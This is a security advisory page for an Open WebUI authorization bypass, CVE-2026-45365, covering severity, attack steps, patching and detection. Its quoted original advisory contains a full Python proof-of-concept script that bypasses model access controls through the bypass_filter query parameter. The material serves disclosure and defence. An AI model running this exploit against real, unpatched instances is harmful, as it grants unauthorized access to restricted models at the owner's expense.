CVE-2026-45365: open-webui: auth bypass exposes admin-restricted models

GHSA-v6qf-75pr-p96m MEDIUM PoC AVAILABLE CISA: TRACK*
Published May 14, 2026
CISO Take

Open WebUI's FastAPI route handlers for both the OpenAI and Ollama chat endpoints inadvertently expose an internal bypass_filter flag as a publicly-accessible HTTP query parameter, allowing any authenticated user — including the lowest-privilege 'user' role — to append ?bypass_filter=true and skip the model access control check entirely. The practical blast radius is direct: attackers gain unrestricted access to every model configured on the server, including admin-restricted or expensive API-backed models (GPT-4, Claude, internal fine-tunes), and all inference is billed to the organization's own API keys — making this a financial-harm and data-access risk beyond a simple privilege escalation. A working PoC was published alongside the advisory, exploitation requires no AI/ML knowledge, and Open WebUI is widely self-hosted in enterprise AI platforms with 91 prior CVEs signaling sustained attacker research interest in the package. Upgrade to open-webui >= 0.8.11 immediately; no workaround exists short of removing untrusted users from the instance.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

The CVSS 5.4 medium score reflects the authentication prerequisite, but understates operational risk in AI deployment contexts. Exploitability is trivial — a single appended query parameter with a valid session token is sufficient, the PoC is public, and no attacker-side AI knowledge is required. The primary risks are: (1) unauthorized consumption of expensive third-party API quotas (OpenAI, Anthropic) billed to the organization; (2) exfiltration of outputs from internally-restricted or fine-tuned models that may embody proprietary data or sensitive system prompts; (3) erosion of access governance controls that organizations may rely on for compliance with AI usage policies. Exposure is highest in multi-tenant or corporate Open WebUI deployments where model tiering (e.g., restricting GPT-4 to specific teams) is actively enforced.

How does the attack unfold?

Initial Access
Attacker authenticates to Open WebUI with any valid user-role account, which is sufficient — no admin credentials or social engineering required.
AML.T0012
Vulnerability Discovery
Attacker identifies the bypass_filter parameter from the public GHSA advisory or by reviewing the open-source FastAPI handler signatures in the repository.
AML.T0049
ACL Bypass
Attacker appends ?bypass_filter=true to POST /openai/chat/completions or /ollama/api/chat with a restricted model ID; the access control check is skipped and the request is routed to the backend LLM using the server's API credentials.
AML.T0049
Unauthorized Model Access
Attacker receives full inference responses from admin-restricted models, consuming the organization's API quota and potentially extracting capabilities or outputs from internally-restricted fine-tuned models.
AML.T0040

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Open WebUI pip <= 0.8.10 0.8.11
143.3K Pushed 8d ago 77% patched ~5d to patch Full package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1
5.4 / 10
EPSS
0.2%
chance of exploitation in 30 days
Higher than 9% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Unchanged
C Low
I Low
A None

What should I do?

5 steps
  1. Patch: Upgrade open-webui to >= 0.8.11 immediately. The fix moves bypass_filter out of the HTTP handler signature into request.state, which is only writable by server-side code — the query parameter is now silently ignored.

  2. Verify: Confirm your running instance version via the admin panel or pip show open-webui.

  3. Interim workaround (if patching is delayed): Restrict the Open WebUI instance to trusted users only, or disable model access controls (BYPASS_MODEL_ACCESS_CONTROL=true) and implement access segregation at the instance level rather than model level.

  4. Detection: Review server-side LLM provider logs (OpenAI, Ollama) for requests to models that specific users should not have access to. Check HTTP access logs for ?bypass_filter=true in POST requests to /openai/chat/completions or /ollama/api/chat.

  5. Audit: Review all user accounts on affected instances and assess whether any sensitive or expensive models were accessed without authorization during the exposure window.

What does CISA's SSVC say?

Decision Track*
Exploitation poc
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art. 9(2) - Risk management system — access control measures
ISO 42001
A.6.1.3 - Access control for AI systems
NIST AI RMF
GOVERN 1.7 - Processes for AI risk management — access and authorization
OWASP LLM Top 10
LLM10:2025 - Unbounded Consumption

Frequently Asked Questions

What is CVE-2026-45365?

Open WebUI's FastAPI route handlers for both the OpenAI and Ollama chat endpoints inadvertently expose an internal bypass_filter flag as a publicly-accessible HTTP query parameter, allowing any authenticated user — including the lowest-privilege 'user' role — to append ?bypass_filter=true and skip the model access control check entirely. The practical blast radius is direct: attackers gain unrestricted access to every model configured on the server, including admin-restricted or expensive API-backed models (GPT-4, Claude, internal fine-tunes), and all inference is billed to the organization's own API keys — making this a financial-harm and data-access risk beyond a simple privilege escalation. A working PoC was published alongside the advisory, exploitation requires no AI/ML knowledge, and Open WebUI is widely self-hosted in enterprise AI platforms with 91 prior CVEs signaling sustained attacker research interest in the package. Upgrade to open-webui >= 0.8.11 immediately; no workaround exists short of removing untrusted users from the instance.

Is CVE-2026-45365 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-45365, increasing the risk of exploitation.

How to fix CVE-2026-45365?

1. Patch: Upgrade open-webui to >= 0.8.11 immediately. The fix moves bypass_filter out of the HTTP handler signature into request.state, which is only writable by server-side code — the query parameter is now silently ignored. 2. Verify: Confirm your running instance version via the admin panel or `pip show open-webui`. 3. Interim workaround (if patching is delayed): Restrict the Open WebUI instance to trusted users only, or disable model access controls (BYPASS_MODEL_ACCESS_CONTROL=true) and implement access segregation at the instance level rather than model level. 4. Detection: Review server-side LLM provider logs (OpenAI, Ollama) for requests to models that specific users should not have access to. Check HTTP access logs for ?bypass_filter=true in POST requests to /openai/chat/completions or /ollama/api/chat. 5. Audit: Review all user accounts on affected instances and assess whether any sensitive or expensive models were accessed without authorization during the exposure window.

What systems are affected by CVE-2026-45365?

This vulnerability affects the following AI/ML architecture patterns: LLM inference proxy/gateway, model serving, enterprise AI access management, multi-user LLM platforms.

What is the CVSS score for CVE-2026-45365?

CVE-2026-45365 has a CVSS v3.1 base score of 5.4 (MEDIUM). The EPSS exploitation probability is 0.19%.

What is the AI security impact?

Affected AI Architectures

LLM inference proxy/gatewaymodel servingenterprise AI access managementmulti-user LLM platforms

MITRE ATLAS Techniques

AML.T0012 Valid Accounts
AML.T0034 Cost Harvesting
AML.T0040 AI Model Inference API Access
AML.T0049 Exploit Public-Facing Application

Compliance Controls Affected

EU AI Act: Art. 9(2)
ISO 42001: A.6.1.3
NIST AI RMF: GOVERN 1.7
OWASP LLM Top 10: LLM10:2025

What are the technical details?

Original Advisory

### Summary An internal-only bypass_filter parameter is exposed on the /openai/chat/completions and /ollama/api/chat HTTP endpoints via FastAPI query string binding, allowing any authenticated user to append ?bypass_filter=true and bypass model access control checks to invoke admin-restricted models. ### Details The `generate_chat_completion` route handlers in both `routers/openai.py` and `routers/ollama.py` declare `bypass_filter` as a function parameter: **`routers/openai.py`, line 937–941:** ```python @router.post("/chat/completions") async def generate_chat_completion( request: Request, form_data: dict, user=Depends(get_verified_user), bypass_filter: Optional[bool] = False, ... ): ``` **`routers/ollama.py`, line 1283–1288:** ```python @router.post("/api/chat") async def generate_chat_completion( ... bypass_filter: Optional[bool] = False, ... ): ``` Because FastAPI automatically binds unrecognized function parameters to the query string, any HTTP client can set this value by appending `?bypass_filter=true` to the request URL. When `bypass_filter` is true, the access control check is skipped entirely: **`routers/openai.py`, line 980:** ```python if not bypass_filter and user.role == "user": # ACL check — skipped when bypass_filter is True ``` This parameter is intended for internal use only — the server-side chat pipeline in `utils/chat.py` (lines 238, 253) passes `bypass_filter=True` as a Python function argument when making recursive calls to base models that have already been authorized. However, because it appears in the HTTP handler's signature, it is unintentionally exposed to external callers. This is separate from the `BYPASS_MODEL_ACCESS_CONTROL` environment variable, which is a deliberate admin setting for trusted environments. ### PoC ```python #!/usr/bin/env python3 """ uv run --no-project --with requests finding_02_bypass_filter_acl_bypass.py [--base-url http://localhost:8089] Finding #2 — Unauthorized model access via bypass_filter query parameter SUMMARY: The POST /openai/chat/completions and POST /ollama/api/chat endpoints expose a bypass_filter query parameter as part of their FastAPI function signatures. FastAPI automatically binds this to the query string. When an authenticated user appends ?bypass_filter=true, the access control check is skipped: if not bypass_filter and user.role == "user": check_model_access(user, model) # <-- skipped when bypass_filter=True This allows any authenticated user to invoke models they are not authorized to use, including admin-restricted models. VULNERABLE CODE: backend/open_webui/routers/openai.py, line 941 + 980: async def generate_chat_completion(..., bypass_filter: Optional[bool] = False, ...): ... if not bypass_filter and user.role == "user": # ACL check — skipped when bypass_filter=True backend/open_webui/routers/ollama.py, line 1288 + 1339: async def generate_chat_completion(..., bypass_filter: Optional[bool] = False, ...): ... if not bypass_filter and user.role == "user": # ACL check — skipped when bypass_filter=True IMPACT: Any authenticated user can bypass model access control on both OpenAI and Ollama proxy endpoints. Because bypass_filter skips the ACL check but still routes through the server-side LLM connection, the attacker can invoke admin-restricted models using the server's API keys and receive actual LLM responses — effectively gaining free, unauthorized access to any configured model. REPRODUCTION: 1. Create a restricted model with empty access_grants (admin-only). 2. Authenticate as a regular user. 3. POST /openai/chat/completions with the restricted model → expect 403. 4. POST /openai/chat/completions?bypass_filter=true → request succeeds. REQUIREMENTS: - Running Open WebUI instance with Ollama or OpenAI backend configured - A model with restricted access_grants - An authenticated user who is NOT granted access to that model """ import argparse import sys import requests def main(): parser = argparse.ArgumentParser(description="Finding #2: bypass_filter ACL bypass") parser.add_argument("--base-url", required=True, help="Open WebUI base URL") parser.add_argument("--attacker-email", required=True) parser.add_argument("--attacker-password", required=True) parser.add_argument("--admin-email", required=True) parser.add_argument("--admin-password", required=True) args = parser.parse_args() base = args.base_url.rstrip("/") # ── Step 1: Authenticate ── print("[*] Authenticating as attacker...") r = requests.post(f"{base}/api/v1/auths/signin", json={"email": args.attacker_email, "password": args.attacker_password}) if not r.ok: print(f"[-] Login failed: {r.status_code}") sys.exit(1) attacker_token = r.json()["token"] print(f"[+] Logged in as attacker (id={r.json()['id']})") # ── Step 2: Find restricted model via admin ── print("[*] Authenticating as admin to find restricted model...") r = requests.post(f"{base}/api/v1/auths/signin", json={"email": args.admin_email, "password": args.admin_password}) if not r.ok: print(f"[-] Admin login failed: {r.status_code}") sys.exit(1) admin_token = r.json()["token"] r = requests.get(f"{base}/api/v1/models", headers={"Authorization": f"Bearer {admin_token}"}) if not r.ok: print(f"[-] Failed to list models: {r.status_code}") sys.exit(1) models = r.json() if isinstance(models, dict): models = models.get("data", models.get("models", [])) restricted_model_id = None base_model_id = None for m in models: info = m.get("info", {}) if not info: continue access_grants = info.get("access_grants", None) if access_grants is not None and len(access_grants) == 0 and info.get("base_model_id"): restricted_model_id = m["id"] base_model_id = info.get("base_model_id") print(f"[+] Found restricted model: {restricted_model_id} (base: {base_model_id})") break if not restricted_model_id: print("[-] No restricted model found.") sys.exit(1) headers = {"Authorization": f"Bearer {attacker_token}"} payload = { "model": restricted_model_id, "messages": [{"role": "user", "content": "Say exactly: BYPASS_CONFIRMED"}], "stream": False, } # ── Step 3: Confirm access is denied on /openai/chat/completions ── print(f"\n[*] Step 1: POST /openai/chat/completions (no bypass) with model '{restricted_model_id}'...") r = requests.post(f"{base}/openai/chat/completions", headers=headers, json=payload) print(f" Response: {r.status_code} {r.text[:200]}") if r.status_code == 403: print("[+] Access correctly DENIED (403) — attacker cannot use the restricted model") else: print(f"[!] Unexpected response code {r.status_code} (expected 403)") # ── Step 4: Bypass with ?bypass_filter=true on OpenAI endpoint ── print(f"\n[*] Step 2: POST /openai/chat/completions?bypass_filter=true ...") r = requests.post(f"{base}/openai/chat/completions", headers=headers, json=payload, params={"bypass_filter": "true"}) print(f" Response: {r.status_code} {r.text[:300]}") openai_bypassed = r.status_code != 403 if openai_bypassed: print(f"[+] OpenAI endpoint: ACL BYPASSED (got {r.status_code} instead of 403)") else: print(f"[-] OpenAI endpoint: bypass did not work (still 403)") # ── Step 5: Also test Ollama endpoint ── print(f"\n[*] Step 3: POST /ollama/api/chat?bypass_filter=true ...") ollama_payload = { "model": restricted_model_id, "messages": [{"role": "user", "content": "Say exactly: BYPASS_CONFIRMED"}], "stream": False, } r_normal = requests.post(f"{base}/ollama/api/chat", headers=headers, json=ollama_payload) print(f" Without bypass: {r_normal.status_code} {r_normal.text[:150]}") r_bypass = requests.post(f"{base}/ollama/api/chat", headers=headers, json=ollama_payload, params={"bypass_filter": "true"}) print(f" With bypass: {r_bypass.status_code} {r_bypass.text[:150]}") ollama_bypassed = r_normal.status_code == 403 and r_bypass.status_code != 403 if ollama_bypassed: print(f"[+] Ollama endpoint: ACL BYPASSED ({r_normal.status_code} → {r_bypass.status_code})") elif r_bypass.status_code != 403: print(f"[+] Ollama endpoint: bypass_filter accepted (status {r_bypass.status_code})") ollama_bypassed = True else: print(f"[-] Ollama endpoint: bypass did not work") # ── Results ── if openai_bypassed or ollama_bypassed: print(f"\n[+] SUCCESS: bypass_filter query parameter bypasses model access control!") print(f" OpenAI endpoint (/openai/chat/completions): {'BYPASSED' if openai_bypassed else 'not bypassed'}") print(f" Ollama endpoint (/ollama/api/chat): {'BYPASSED' if ollama_bypassed else 'not bypassed'}") print(f"") print(f" Any authenticated user can append ?bypass_filter=true to skip") print(f" check_model_access() and use admin-restricted models via the") print(f" server's own API keys.") sys.exit(0) else: print(f"\n[-] FAILED: bypass_filter did not bypass access control on either endpoint") sys.exit(1) if __name__ == "__main__": main() ``` ### Impact Any authenticated user (including those with the lowest "user" role) can invoke any model configured on the server, regardless of access control settings. This bypasses the admin's ability to restrict which models are available to which users — for example, limiting expensive models to specific teams or keeping certain models internal-only. ## Resolution Fixed in commit [c0385f60b](https://github.com/open-webui/open-webui/commit/c0385f60ba049da48d2d5452068586d375303c37), first released in **v0.8.11** (Mar 2026) — one day after this report. `bypass_filter` is no longer a function parameter on either route handler. Both `routers/openai.py` and `routers/ollama.py` now read it via `getattr(request.state, 'bypass_filter', False)`. Because `request.state` can only be populated by server-side code in the same process (typically `utils/chat.py` when recursing into a base model the caller is already authorized for), external HTTP clients cannot set it via query string, body, or any other transport-level mechanism. Appending `?bypass_filter=true` to the URL has no effect — the query parameter is now silently ignored by FastAPI since it doesn't bind to any handler argument. Users on `>= 0.8.11` are not affected.

Exploitation Scenario

An attacker with a standard user account on a corporate Open WebUI deployment discovers via the public GHSA advisory that the bypass_filter parameter is exploitable on their unpatched instance. They enumerate available model IDs by querying /api/v1/models (accessible to authenticated users), identify a restricted GPT-4 model or an internally fine-tuned model with proprietary embeddings, then submit POST /openai/chat/completions?bypass_filter=true with the restricted model ID. The access control check is bypassed, the server routes the request through its own OpenAI API key, and the attacker receives a full LLM response — billed to the organization. The attacker can then repeatedly query the restricted model to extract its behavior, probe for system prompt leakage, or generate outputs (code, documents, analysis) at the organization's API expense without any administrator-configured restrictions taking effect.

Weaknesses (CWE)

CWE-285 — Improper Authorization: The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.

  • [Architecture and Design] Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • [Architecture and Design] Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Timeline

Published
May 14, 2026
Last Modified
May 14, 2026
First Seen
May 15, 2026

Related Vulnerabilities